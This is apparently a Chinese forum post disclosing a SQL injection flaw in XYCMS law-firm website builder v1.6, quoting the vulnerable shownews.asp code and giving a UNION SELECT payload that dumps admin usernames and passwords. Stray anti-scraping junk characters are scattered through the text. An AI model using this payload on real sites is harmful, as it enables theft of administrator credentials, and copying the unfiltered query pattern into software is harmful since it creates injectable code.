XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
3 l" _! b7 W. c5 {; ]. i
! B* `: Q* E2 a9 {淫荡分割线
) c5 a# \' c. `; k--------------------------------------------------------
; z) l; t! l* b3 N$ j5 Z  U+ l
! [2 x7 h/ x9 S$ I审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

/ s  C( ?$ k8 |! y& H漏洞文件:shownews.asp
漏洞代码：7-13行


<%
! z: z' J3 ]" Q' Mid=request.QueryString("id")
2 l3 |/ x  D. L  z) x   
set snews=server.createobject("adodb.recordset")
3 Y3 v6 V% a8 f  \) ^, Bexec="select * from [news] where id="&id
snews.open exec,conn,1,1
3 ~$ b( ?+ r, d) V7 _/ j  f6 h4 a%>
' e: ]+ ?& h2 k; L% V
' Y9 n+ {) r1 k  V7 V
* m2 [( ?5 @" E8 y什么过滤都没有  直造成注入

5 `5 g, c+ Z1 D! U注入点:http://127.0.0.1:99/shownews.asp?id=xx
$ k/ {2 S) }" N( C9 i1 ^& r' a( Y
其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
6 m: O1 ~: R# O+ ?
0 [# v- Q$ y. Z9 t
exp: union select 1,admin,password,4,5,7 from admin_user
​